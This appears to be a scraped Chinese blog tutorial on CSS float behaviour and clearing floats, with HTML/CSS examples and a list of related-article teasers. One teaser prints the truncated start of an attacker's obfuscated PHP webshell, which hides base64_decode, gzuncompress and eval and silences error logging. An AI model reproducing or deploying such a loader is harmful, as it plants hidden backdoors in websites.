django学习入门系列之第三点《CSS基础样式介绍3》

文章目录

  • 浮动
  • 什么是浮动
    • 浮动的特性
    • 清除浮动
  • 往期回顾


浮动

什么是浮动

  • float属性用于创建浮动框,将其移动到一边,直到左边缘或右边缘触及包含块或另一个浮动框的边缘。

浮动的特性

  1. 浮动元素会脱离标准流(脱标)

  2. 浮动的元素会一行内显示并且元素顶部对齐

  3. 浮动的元素会具有行内块元素的特性

特性1设置了浮动(float)的元素最重要特性:

  1. 脱离标准普通流的控制(浮)移动到指定位置(动), (俗称脱标)
  2. 浮动的盒子不再保留原先的位置

在这里插入图片描述
特性2如果多个盒子都设置了浮动,则它们会按照属性值一行内显示并且顶端对齐排列

在这里插入图片描述
注意:
浮动的元素是互相贴靠在一起的(不会有缝隙),如果父级宽度装不下这些浮动盒子,多出的盒子会另起一行对齐。

特性3浮动元素会具有行内块元素特性。

任何元素都可以浮动。不管原先是什么模式的元素,添加浮动之后具有行内块元素相似的特性。

  • 如果块级盒子没有设置宽度,默认宽度和父级一样宽,但是添加浮动后,它的大小根据内容来决定

  • 浮动的盒子中间是没有缝隙的,是紧挨着一起的

  • 行内元素同理

  • 实例:移动

相当于把内容移动到最左/最右边(span)

<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><title>中国移动</title>
</head>
<body><span>中国</span><span style="float: right">移动</span>
</body>
</html>
  • 块级标签使用浮动

    • 可能使他”飘“起来,脱离文档流
      • 什么是文档流:文档流是指在HTML文档中,元素按照它们在HTML文档中的出现顺序依次从上到下排列,形成一个连续的流
    • 让块级标签不会独占一整行
    <!DOCTYPE html>
    <html lang="en">
    <head><meta charset="UTF-8"><title>中国移动</title><style>.c2{float: left;color: green;width: 50px;height: 60px;border: 1px solid red;}</style>
    </head>
    <body><div class="c2">text</div><div class="c2">text</div><div class="c2">text</div><div class="c2">text</div>
    </body>
    </html>
    

在这里插入图片描述

清除浮动

  • 为什么要清除浮动

    • 由于父级盒子很多情况下,不方便给高度,但是子盒子浮动又不占有位置,最后父级盒子高度为0时,就会影响下面的标准流盒子。
  • 清除浮动的本质

    • 清除浮动的本质是清除浮动元素造成的影响

    • 如果父盒子本身有高度,则不需要清除浮动

    • 清除浮动之后,父级就会根据浮动的子盒子自动检测高度。父级有了高度,就不会影响下面的标准流了

  • 如果想解决脱离文档流的情况则需要加*style*="clear: both"

<!-- 添加前 -->
<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><title>中国移动</title><style>.c2{float: left;color: green;width: 50px;height: 60px;border: 1px solid red;}</style>
</head>
<body>
<div style="background-color: blue"><div class="c2">text</div><div class="c2">text</div><div class="c2">text</div><div class="c2">text</div>
</div>
</body>
</html>

在这里插入图片描述

<!-- 添加后 -->
<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><title>中国移动</title><style>.c2{float: left;color: green;width: 50px;height: 60px;border: 1px solid red;}</style>
</head>
<body>
<div style="background-color: blue"><div class="c2">text</div><div class="c2">text</div><div class="c2">text</div><div class="c2">text</div><div style="clear: both;"></div>
</div>
</body>
</html>

在这里插入图片描述
所以一旦块级标签出现浮动一定要加*style*="clear: both;

  • 浮动带来的好处

    • 父级可以不用设置高度,只用子级设置高度,子级可以撑起父级的高度,以实现代码简化
    /*控制父级边框*/
    .header{background: #333;}/*控制子级边框*/
    .container{width: 1226px;margin: 0 auto;
    }/*控制子级边框下的左边菜单栏*/
    .header .menu{float: left;}/*控制子级边框下的右边菜单栏*/
    .header .account{float: right;color: #b0b0b0;
    }/*控制子级边框下的菜单栏中的span标签*/
    .header span{color: #b0b0b0;line-height: 40px;display: inline-block;font-size: 12px;margin-right: 15px;
    }/*效果图如下*/
    

    在这里插入图片描述

往期回顾

1.【快速开发网站】
2.【浏览器能识别的标签1】
3.【浏览器能识别的标签2】
4.【浏览器能识别的标签3】
5.【浏览器能识别的标签4】
6.【案例1:用户注册】
7.【案例2:用户注册改进】
8.【快速了解 CSS】
9.【常用选择器概念讲解】
10.【CSS基础样式介绍1】
11.【CSS基础样式介绍2】

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/857880.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

2024.06.23【读书笔记】丨生物信息学与功能基因组学(第十七章 人类基因组 第四部分)【AI测试版】

第四部分:人类基因组的伦理、法律和社会问题(ELSI) 摘要: 本部分探讨了人类基因组计划所引发的伦理、法律和社会问题(ELSI),这些问题涉及基因信息的所有权、隐私权、基因歧视以及基因技术在社会中的运用等方面。 学习目标: 理解人类基因组计划实施过程中所引发的ELS…

探索Twig:优雅、灵活的PHP模板引擎

1. 介绍 在现代的 Web 开发中&#xff0c;模板引擎是一种常见的工具&#xff0c;用于将应用程序的逻辑和视图分离开来&#xff0c;使得开发过程更加清晰和高效。PHP Twig 是一种流行的模板引擎&#xff0c;它为 PHP 开发者提供了一个强大而灵活的工具&#xff0c;用于构建动态…

PHP木马原文

攻击者留下的源码 <?php $ZimXb strre.v; $SkYID ba.se64._d.eco.de; $qetGk g.zuncomp.ress; ini_set(display_errors, 0); ini_set(log_errors, 0); /*** 13f382ef7053c327e26dff2a9c14affbd9e8296a ***/ error_reporting(0); eval($qetGk($SkYID($ZimXb(Q2WA…

用java画一个抽奖时用的圆盘,感觉还挺好看的。

用java画一个抽奖时用的圆盘&#xff0c;感觉还挺好看的。请看封面样式&#xff0c;就是样例。不过是随机的。每一次都不一样。 import javax.swing.*; import java.awt.*; import java.awt.geom.Arc2D; import java.util.Random; public class PaintDisc extends JPanel {Ove…

2024-06-22力扣每日一题

链接&#xff1a; 2663. 字典序最小的美丽字符串 题意 略 解&#xff1a; 要求字符串内不存在任何长度为 2 或更长的回文子字符串&#xff0c;则在任意位置不存在aa或aba形式 由于要被给定字符串字典序大&#xff0c;且找到符合条件的字典序最小字符串&#xff0c;则竟可…

51单片机STC89C52RC——6.3 定时器/计数器 实现计时功能(定时器+中断系统+LCD1602液晶显示器)

目录 目的/效果 一&#xff0c;STC单片机模块 二&#xff0c;定时器 中断系统LCD1602显示 三&#xff0c;创建Keil项目 四&#xff0c;代码 五&#xff0c;代码编译、下载到51单片机 ​ 目的/效果 用定时器实现系统中断&#xff0c;计时信息显示在LCD1602上。效果如下 …

springAI(一)

目录 一、spring AI 目的 二、spring AI 来源 三、sprig AI 是什么&#xff1f; 四、spring AI中的 概念 4.1、模型&#xff08;Models&#xff09; 4.2、提示&#xff08;Prompts&#xff09; 4.3、提示模板&#xff08;Prompt Templates&#xff09; 4.4、令 牌&#…

Axios-入门

介绍 Axios对原生Ajax进行了封装&#xff0c;简化书写&#xff0c;快速开发 官网&#xff1a;Axios中文文档 | Axios中文网 (axios-http.cn) 入门 1引入Axios的js文件 <script src"js/axios.js"></script> 2使用Axios发送请求&#xff0c;并获取响应…

系统架构师考点--嵌入式技术

​大家好。今天来总结一下嵌入式技术的考点。该考点分值3-5分&#xff0c;上午场选择题和下午场案例题都可能会考&#xff0c;但不是每年都考。 一、嵌入式微处理体系结构 冯诺依曼结构&#xff1a;传统计算机采用冯诺依曼(Von Neumann)结构&#xff0c;也称普林斯顿结构是一…

动画与帧率

先看视频&#xff0c;同样的代码&#xff0c;左侧是240刷显示器&#xff0c;右侧是60刷显示器&#xff0c;但是动画中粒子的运动速度不同。 原因是机器的帧率导致了基于帧的动画显示效果不同。 动画的移动距离是相同的&#xff0c;但是在240刷的显示器上&#xff0c;每秒移动…

【代码随想录】【算法训练营】【第45天】 [198]打家劫舍 [213]打家劫舍II [337]打家劫舍III

前言 思路及算法思维&#xff0c;指路 代码随想录。 题目来自 LeetCode。 day 45&#xff0c;周五&#xff0c;坚持不了一点~ 题目详情 [198] 打家劫舍 题目描述 198 打家劫舍 解题思路 前提&#xff1a; 思路&#xff1a; 重点&#xff1a; 代码实现 C语言 虚拟头…

中国科学院西北生态环境资源研究院联合多单位在《PNAS》发文:气候变暖对多年冻土区地上与地下生物量分布的影响

文章简介 论文名称&#xff1a;Changes in above-versus belowground biomass distribution in permafrost regions in response to climate warming&#xff08;气候变暖对多年冻土区地上与地下生物量分布的影响&#xff09; 第一作者及单位&#xff1a;贠汉伯&#xff08;研…

深度学习大体过程

一、深度学习的神秘面纱 深度学习&#xff0c;就像是一个超级魔法师&#xff0c;它能够从海量的数据中提炼出隐藏的秘密&#xff0c;然后利用这些秘密来预测未来、识别图像、翻译语言……简直是无所不能&#xff01;那么&#xff0c;这个魔法师是怎么工作的呢&#xff1f; 二…

代码随想录训练营Day 66|卡码网101.孤岛的总面积、102.沉没孤岛、103.水流问题、104.建造最大岛屿

1.孤岛的总面积 101. 孤岛的总面积 | 代码随想录 代码&#xff1a;(bfs广搜) #include <iostream> #include <vector> #include <queue> using namespace std; int dir[4][2] {1,0,0,1,-1,0,0,-1}; int count; void bfs(vector<vector<int>>&a…

SCI一区TOP|双曲正弦余弦优化算法(SCHO)原理及实现【免费获取Matlab代码】

目录 1.背景2.算法原理2.1算法思想2.2算法过程 3.结果展示4.参考文献5.代码获取 1.背景 2023年&#xff0c;J Bai受到双曲正弦余弦函数启发&#xff0c;提出了双曲正弦余弦优化算法&#xff08;Sinh Cosh optimizer, SCHO&#xff09;。 2.算法原理 2.1算法思想 SCHO灵感来源…

1panel + Pbootcms 设置伪静态规则

这里确保我们引用的样式路径是否是这样的&#xff0c;&#xff08;不然可能会设置了伪静态无法加载样式&#xff09; //这种格式在不开起伪静态是可以引入的&#xff0c;一旦开启就不行了,一定要在static 前面加上反斜杠 /<link rel"stylesheet" href"{pbo…

【数据分享】《中国法律年鉴》1987-2022

而今天要免费分享的数据就是1987-2022年间出版的《中国法律年鉴》并以多格式提供免费下载。&#xff08;无需分享朋友圈即可获取&#xff09; 数据介绍 自1987年起&#xff0c;《中国法律年鉴》作为一部全面记录中国法律发展进程的重要文献&#xff0c;见证了中国法治建设的每…

python魔法__dir__和__dict__

# 魔法方法dir, __dir__, __dict__class Student:address "wh" # 类属性def __init__(self, name):self.name name # 对象属性self._age 20self.__tel "123456"staticmethoddef static_func():...# __dir__: 查看对象的方法和属性 st Student("z…

【linux】6.9.0系统调用接口列表,一共644个

文件生成命令行&#xff1a; grep "ifdef" /usr/include/x86_64-linux-gnu/bits/syscall.h | awk { print $2 } >/mnt/hgfs/Share/syscall_small.h __NR_FAST_atomic_update __NR_FAST_cmpxchg __NR_FAST_cmpxchg64 __NR__llseek __NR__newselect __NR__sysctl …

Linux服务升级:Almalinux 升级 WebCatlog桌面程序

目录 一、实验 1.环境 2.Almalinux 升级 WebCatlog桌面程序 二、问题 1.Ubuntu如何升级 WebCatlog桌面程序 一、实验 1.环境 &#xff08;1&#xff09;主机 表1 主机 系统版本软件IP备注Almalinux9.4 WebCatlog 192.168.204.150 &#xff08;2&#xff09;Termi…